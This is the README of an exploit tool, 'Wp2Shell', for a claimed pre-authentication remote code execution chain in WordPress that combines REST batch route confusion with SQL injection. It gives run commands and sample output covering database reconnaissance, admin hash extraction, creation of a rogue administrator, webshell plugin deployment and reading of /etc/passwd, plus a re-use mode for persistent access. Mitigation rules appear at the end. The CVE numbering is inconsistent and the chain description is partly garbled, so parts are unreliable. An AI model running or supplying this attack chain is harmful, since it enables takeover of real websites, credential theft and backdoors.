
Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137
Pre-Authentication Remote Code Execution in WordPress Core.
CVE-2026-60137 (SQL Injection in WP_Query) chained with CVE-2026-63030 (REST API Batch Route Confusion).
For educational and authorised security research purposes only.
WordPress 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are vulnerable. Fixed in 6.9.5 and 7.0.2.
The exploit chains two vulnerabilities:
CVE-2026-63030 — Batch Route Confusion. The REST API batch endpoint at /wp-json/batch/v1 (or /?rest_route=/batch/v1) processes sub-requests in two phases: it matches each path to a handler, then dispatches each request through its matched handler. When a deliberately malformed path (///) is inserted as the first sub-request, WordPress stores a WP_Error at index 0 of the matched-routes array. This shifts every subsequent handler assignment back by one index. The dispatch loop then pairs each request with the wrong handler — a request validated against Schema A is executed by Handler B, bypassing the parameter sanitization that Schema A enforced.
CVE-2026-60137 — SQL Injection in WP_Query. The posts collection endpoint accepts an author_exclude parameter whose schema enforces integer-typed array values, sanitizing each element with absint() before it reaches WP_Query. The batch desync causes this parameter to bypass schema validation entirely and arrive at WP_Query's author__not_in logic as a raw string. Because absint() is only applied inside an is_array() branch, the raw string is interpolated directly into the SQL WHERE clause, enabling UNION SELECT injection.
The full chain proceeds in four steps:
UNION SELECT rows reflected in the REST JSON response.wp_posts rows that poison the oEmbed cache and trigger WP_Customize_Manager's changeset publish hook, which calls wp_insert_user() with role=administrator.git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell
No pip install required.
Runs all four steps: desync confirmation, SQL reconnaissance, administrator creation, and webshell deployment. A new administrator account and plugin are created on every run.
python3 exploit.py --url http://TARGET --command "id"
python3 exploit.py --url http://TARGET --command "uname -a"
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"
Against an HTTPS target with a self-signed certificate:
python3 exploit.py --url https://TARGET --command "id" --insecure
After a full-chain run completes, the script prints a ready-to-use re-use command with the deployed credentials and shell path pre-filled. Pass those three flags on subsequent runs to skip the SQL and admin-creation phases entirely:
python3 exploit.py \
--url http://TARGET \
--command "whoami" \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password "Wp2!J47LBKLEbu4ebAJo" \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
[--admin-user USER] [--admin-password PASS]
[--prev-webshell-plugin PATH]
The three --admin-* / --prev-webshell-plugin flags must all be supplied together or not at all.
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : http://localhost:8080
Command: uname -a
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi -- database reconnaissance
[+] Database version : 10.11.18-MariaDB-ubu2204
[+] Database user : wpuser@%
[+] Database name : wordpress
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [96, 97, 98]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_poc_da4d1cf83acb password: Wp2!J47LBKLEbu4ebAJo
[STEP 4] Authenticating + deploying webshell -- running: uname -a
[*] Logging in to wp-admin...
[+] Logged in as administrator
[*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
[+] Plugin uploaded
[*] Activating plugin...
[+] Plugin activated
[*] Executing: uname -a
============================================================
COMMAND OUTPUT -- uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================
[+] RCE confirmed -- Pre-Auth exploit chain complete
+-- RE-USE HINT ------------------------------------------+
| Skip the full chain next time -- pass these flags: |
+-----------------------------------------------------------+
python3 exploit.py \
--url http://localhost:8080 \
--command 'YOUR_COMMAND' \
--admin-user wp2_poc_da4d1cf83acb \
--admin-password 'Wp2!J47LBKLEbu4ebAJo' \
--prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php
Update to a fixed release immediately.
wp core updatewp core update --version=6.9.5wp core update --version=6.8.6If patching immediately is not possible, block both URL forms of the batch endpoint at the web server or WAF layer. Both routes must be blocked — a rule covering only the pretty-permalink form leaves the query-string form open:
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]
Or disable the endpoint from within WordPress using a must-use plugin:
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );
Treat all pre-patch controls as temporary bridges only. Apply the patch as soon as possible and verify the installed version on every internet-facing instance afterwards.
This tool is provided for educational purposes and authorised penetration testing only. Running it against any system without explicit prior written permission from the system owner is illegal. The authors accept no liability for any misuse.
| Flag | Short | Description |
|---|
--url | -u | Target WordPress base URL. Default: http://localhost:8080 |
--command | -c | OS command to execute. Default: id |
--insecure | -k | Disable TLS certificate verification for self-signed certs |
--admin-user | Re-use mode: previously created administrator username | |
--admin-password | Re-use mode: previously created administrator password | |
--prev-webshell-plugin | Re-use mode: web path to the already-deployed webshell plugin |